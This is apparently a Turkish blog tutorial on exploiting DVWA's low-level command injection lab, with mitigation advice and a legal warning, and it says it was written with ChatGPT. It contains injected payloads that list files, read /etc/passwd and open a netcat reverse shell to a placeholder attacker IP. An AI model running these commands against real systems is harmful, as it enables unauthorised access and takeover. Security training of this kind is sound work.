Command Injection (Komut Enjeksiyonu), bir web uygulamasının kullanıcının girdiği verileri sistemdeki komutlara doğru bir şekilde doğrulamadan işleyerek çalıştırdığı bir güvenlik açığıdır. Bu zafiyeti kullanarak saldırgan, hedef sistemde keyfi komutlar çalıştırabilir ve sistem üzerinde kontrol sağlayabilir. Bu tür saldırılar genellikle uygulamanın, kullanıcı girdisini bir işletim sistemi komutu olarak doğrudan çalıştırdığı durumlarda ortaya çıkar.
Nasıl Çalışır?
Bir web uygulaması kullanıcının girdisini aldıktan sonra, bu girdiyi sistem seviyesinde bir komut olarak çalıştırabilir. Komut enjeksiyonu, uygulamanın bu girdiyi düzgün şekilde filtrelememesi veya doğrulamaması sonucunda ortaya çıkar. Bu durumda, saldırgan normalde izin verilmeyen komutları çalıştırarak sisteme yetkisiz erişim sağlayabilir.
DVWA’daki Basit (Low) seviye Komut Enjeksiyonu zafiyeti, web uygulamalarında sıkça rastlanan bir güvenlik açığını temel düzeyde deneyimlemenizi sağlar. Bu seviyede uygulamanın girdileri doğrulama mekanizması zayıf olduğundan, komut enjeksiyonu gibi saldırılar kolaylıkla gerçekleştirilebilir.
Bu detaylı anlatımda, DVWA’da Basit seviye Komut Enjeksiyonu zafiyetini nasıl kullanacağınızı ve bu zafiyeti nasıl suistimal edebileceğinizi öğreneceksiniz.
1. DVWA Ortamının Hazırlanması
Eğer DVWA henüz kurulmadıysa, aşağıdaki adımları takip edebilirsiniz:
- DVWA Kurulumu: DVWA’yi indirin, sunucunuza kurun ve gerekli veritabanı yapılandırmalarını yapın.
- Güvenlik Seviyesinin Ayarlanması: DVWA arayüzüne eriştikten sonra, sol menüde “DVWA Security” seçeneğine tıklayın. Güvenlik seviyesini “Low” olarak seçip kaydedin.
2. Komut Enjeksiyonu Sayfasına Erişim
- Sol menüde yer alan “Command Injection” bölümüne tıklayın.
- Karşınıza bir form çıkacak ve bu formda bir IP adresi alanı olacak. Bu form, ping komutunu kullanarak girilen IP adresine ping atmak üzere tasarlanmıştır.
Not: Basit seviyede hiçbir girdi doğrulaması yapılmamaktadır. Bu, saldırganın herhangi bir komutu doğrudan çalıştırmasına olanak tanır.
3. Basit Seviye Zafiyetin Çalıştırılması
Zafiyetin Test Edilmesi:
Formdaki IP adresi alanına herhangi bir yerel IP adresi yazın (örneğin 127.0.0.1
) ve “Submit” butonuna basın. Sunucu, bu girdiyi alarak arka planda ping komutunu çalıştırır ve sonuçları ekrana döker.
Örneğin, aşağıdaki gibi bir çıktı görebilirsiniz:
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.035 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.028 ms
Bu, uygulamanın kullanıcının girdisini olduğu gibi işletim sisteminde çalıştırdığını gösterir. Şimdi, bu girdiyi manipüle ederek komut enjeksiyonu yapacağız.
Komut Enjeksiyonu Saldırısı:
Saldırgan, mevcut komutu sonlandırıp kendi komutlarını eklemek için komut ayırıcılarını kullanabilir. Linux komutlarında bu ayırıcılar genellikle ;
, &&
veya |
operatörleri olabilir.
Örnek:
IP adresi alanına şu girdiyi yapın:
127.0.0.1; ls
Bu, şu anlama gelir:
127.0.0.1
için ping işlemi yapılır.ls
komutu çalıştırılır (ls komutu, mevcut dizindeki dosyaları listeler).
Çıktı:
Sunucu, ls
komutunu çalıştırarak mevcut dizindeki dosyaları gösterir:
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.026 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.030 ms
index.php
config.inc.php
.htaccess
Bu, sunucunun dosya sistemi üzerinde saldırganın istediği komutları çalıştırabileceğini gösterir.
4. Daha Gelişmiş Saldırılar
Basit seviyede sistem üzerinde daha fazla bilgi edinmek ve potansiyel olarak sistemde geri dönüş kabuğu (reverse shell) gibi gelişmiş saldırılar yapmak da mümkündür.
a) Yetkili Dosya ve Bilgilere Erişim
Sunucunun hassas dosyalarına erişmek için cat
komutunu kullanarak, örneğin /etc/passwd
dosyasını okuyabilirsiniz:
127.0.0.1; cat /etc/passwd
Bu komut ile sistemdeki kullanıcı hesap bilgilerini içeren dosya ekrana yazdırılır.
Çıktı:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
b) Reverse Shell (Geri Dönüş Kabuk) Alma
Sunucuda bir geri dönüş kabuğu açarak sistem üzerinde tam kontrol elde etmek mümkündür. Bunun için netcat
kullanabilirsiniz.
Öncelikle, saldırgan kendi sisteminde bir portu dinlemeye alır:
nc -lvp 4444
Sonrasında, DVWA’daki komut enjeksiyonu alanına şu komut yazılır:
127.0.0.1; nc -e /bin/bash SIZIN_IP_ADRESINIZ 4444
Bu komut, saldırganın IP adresine geri dönüş kabuğu açacak ve saldırgan, sunucu üzerinde komutlar çalıştırabilecektir.
5. Zafiyetin Kapatılması
Bu tür zafiyetleri önlemek için web uygulamalarında aşağıdaki güvenlik önlemlerini almak gerekmektedir:
- Girdi Doğrulama ve Filtreleme: Kullanıcıdan gelen tüm girdiler dikkatli bir şekilde doğrulanmalı ve zararlı olabilecek karakterler (örneğin
;
,&
,|
) filtrelenmelidir. - Hazır Komutların Kullanımı: Shell komutlarını çalıştırmak yerine, hazır kütüphaneler kullanılarak komutlar parametreli hale getirilmeli ve dinamik komut çalıştırılmasından kaçınılmalıdır.
- En Az Yetki İlkesi (Least Privilege): Web uygulamalarının çalıştığı sistem kullanıcılarına en az yetki verilmelidir. Örneğin, uygulama kullanıcısının kritik sistem dosyalarına erişimi engellenmelidir.
Sonuç
DVWA’daki Basit Seviye Komut Enjeksiyonu zafiyeti, temel bir komut enjeksiyonu saldırısını anlamak için ideal bir öğrenme aracıdır. Bu tür zafiyetler, doğru girdi doğrulama mekanizmaları ve güvenlik politikaları ile önlenebilir. Ancak, sistemlerin güvenliği sadece teorik bilgi ile sağlanamaz; pratik yaparak zafiyetlerin nasıl oluştuğunu ve nasıl engelleneceğini öğrenmek gereklidir.
Uyarı: Bu bilgileri sadece izinli ve eğitim amaçlı ortamlarda kullanınız. Yetkisiz sistemlere müdahale etmek yasalar çerçevesinde cezai sonuçlar doğurabilir.
İçerikler ChatGPT ile oluşturulmuş ve teyide muhtaç bilgilerdir.Sorun veya önerinizi iletişim sayfasından yazabilirsiniz.
Yorum Yap